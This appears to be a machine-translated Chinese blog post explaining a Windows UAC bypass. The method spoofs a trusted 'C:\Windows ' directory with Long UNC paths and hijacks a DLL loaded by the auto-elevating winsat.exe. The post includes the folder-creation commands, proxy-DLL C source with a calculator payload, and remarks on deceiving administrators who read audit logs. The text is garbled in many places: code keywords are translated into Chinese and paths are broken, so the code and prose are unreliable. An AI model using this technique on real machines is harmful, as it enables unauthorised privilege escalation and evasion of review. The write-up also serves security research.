发布于2022年11月8日3年前 0x00 前言 从@CE2Wells博客学到的一个技巧,可以通过模拟可信目录绕过UAC。本文将根据自己的经验介绍这种方法,补充自己的理解,并分享测试中的细节。 文章地址: https://medium . com/tenable-tech blog/UAC-bypass-by-mocking-trusted-directory-24a 96675 f6e 0x01 简介 原理介绍 实施细节 实物试验 利用率分析 0x02 原理介绍 1、Long UNC 在之前的文章《Catalog签名伪造——Long UNC文件名欺骗》中介绍过,exe文件在使用Long UNC后,可以欺骗系统,将其识别为另一个文件。 例如: 键入putty.exe ' \ \?\C:\Windows\System32\calc.exe ' 如下图 这种方法也适用于文件夹。 例如: md '\\?\c:\windows ' 新创建的文件夹可以欺骗系统将其识别为另一个文件夹。 如下图 2、默认能够绕过UAC的文件 需要满足以下三个条件: 该程序被配置为自动提升权限,并以管理员权限执行。 包括程序签名 从受信任的目录执行(' c:\windows\system32 ') 3、普通用户权限能够在磁盘根目录创建文件夹 例如,普通用户权限可以在驱动器c下创建文件夹。 4、dll劫持 如果exe程序在启动时需要加载dll,默认情况下,先搜索exe程序的同级目录。 总而言之,绕过UAC的所有条件都满足了。 实现思路如下: 找到一个默认情况下可以绕过UAC的文件,例如c:\ windows c:\ windows \ system32 \ wins at . exe 使用Long UNC创建一个特殊的文件夹“c:\windows”并将winsat.exe复制到这个目录。 执行winsat.exe,记录启动过程,发现启动时需要加载同一个目录下的WINMM.dll。 编写payload.dll,指定与c:\windows\system32\winmm.dll相同的导出函数,命名为' c:\windows \system32\WINMM.dll ' 执行“c:\windows \system32\winsat.exe”将自动绕过UAC,加载“c:\windows \system32\WINMM.dll”并执行有效负载。 0x03 实现细节 1、寻找可供利用的exe 这些文件的特征之一是manifest中的autoElevate属性为true。 用powershell可以实现自动搜索。请参考工具: https://github.com/g3rzi/Manifesto 界面工具如下 2、使用Long UNC创建一个特殊的文件夹"c:\windows " C的实现代码如下: CreateDirectoryW(L'\\\\?\\C:\\Windows \ ',0); 通过命令行实现的命令如下: md '\\?\c:\windows ' 3、记录winsat.exe的启动过程,寻找启动时加载的dll 在这里,您可以使用Process Monitor在启动时过滤出结果为“NAME NOT FOUND”的记录,如下图所示。 因此,可用的dll名称如下: VERSION.dll WINMM.dll POWRPROF.dll dxgi.dll dwmapi.dll d3d10_1.dll d3d1-_1core.dll d3d11.dll d3d10core.dll QUARTZ.dll 随便选一个。 4、编写payload.dll,指定导出函数 您可以在这里使用exportstoc,并下载地址: https://github.com/michaellandi/exportstoc 详细说明请参考之前的文章《Study Notes Weekly No.1(Monitor WMI ExportsToC++ Use DiskCleanup bypass UAC)》。 比如这里选择VERSION.dll,被劫持的原始dll路径是C:\ \ Windows \ \ System32 \ \ version.dll,如下图所示 添加payload作为启动计算器,最终代码如下: #include 'stdafx.h ' #包括 #包括 使用命名空间std #pragma注释(链接器,'/export:getfile version infoa=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoA,@1 ') #pragma注释(链接器,'/export:getfile versioninfobyhandle=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoByHandle,@2 ') #pragma注释(链接器,'/export:getfile versioninfoexw=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoExW,@3 ') #pragma comment(链接器,'/export:getfile versioninfosizea=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoSizeA,@4 ') #pragma注释(链接器,'/export:getfile versioninfosizeexw=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoSizeExW,@5 ') #pragma注释(链接器,'/export:getfile versioninfosizew=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoSizeW,@6 ') #pragma注释(链接器,'/export:getfile version infow=c:\ \ windows \ \ system32 \ \ version。GetFileVersionInfoW,@7 ') #pragma注释(链接器,'/export:VerFindFileA=c:\ \ windows \ \ system32 \ \ version。VerFindFileA,@8 ') #pragma注释(链接器,'/export:VerFindFileW=c:\ \ windows \ \ system32 \ \ version。VerFindFileW,@9 ') #杂注注释(链接器,'/export:VerInstallFileA=c:\ \ windows \ \ system32 \ \ version .VerInstallFileA,@10 ') #杂注注释(链接器,'/export:VerInstallFileW=c:\ \ windows \ \ system32 \ \ version .VerInstallFileW,@11 ') #杂注注释(链接器,'/export:VerLanguageNameA=c:\ \ windows \ \ system32 \ \ version .VerLanguageNameA,@12 ') #杂注注释(链接器,'/export:VerLanguageNameW=c:\ \ windows \ \ system32 \ \ version .VerLanguageNameW,@13 ') #杂注注释(链接器,'/export:verqueryvalueea=c:\ \ windows \ \ system32 \ \ version .VerQueryValueA,@14 ') #杂注注释(链接器,'/export:verqueryvalue=c:\ \ windows \ \ system32 \ \ version .VerQueryValueW,@15 ') BOOL WINAPI DllMain(h实例hInst,DWORD原因,LPVOID) { 系统('开始计算。exe’); 返回真实的 } 将其编译成dll,另存为c:\ windows \ system32 \ version。dll ', 5、启动exe 命令行下启动需要绝对路径:' c:\windows \system32\winsat.exe ' 注: 这里不可以使用短文件名(短文件名通过'方向/x '获得) 0x04 利用分析 1、可供利用的位置不唯一 在我的测试系统(Win7 x64)中,可供利用的可执行程序的扩展名有39个,可供利用的动态链接库也有很多 2、对于长通用命名规约(Universal Naming Conversion)这种文件夹还有其他形式 例如: 文件名可以包含多个空格: '\\?\C:\Windows ' 使用字符'.'(最少两个): '\\?\C:\Windows . ' 但其他形式的文件夹无法用来绕过UAC 3、使用长通用命名规约(Universal Naming Conversion)创建伪造的文件夹能够欺骗"粗心的管理员" 例如系统开启Windows操作系统命令行进程审核,记录程序运行的参数 如下图 肉眼很难分辨 0x05 小结 本文对通过模拟可信目录绕过UAC的方法进行分析,分享测试中的细节 留下回复
创建帐户或登录后发表意见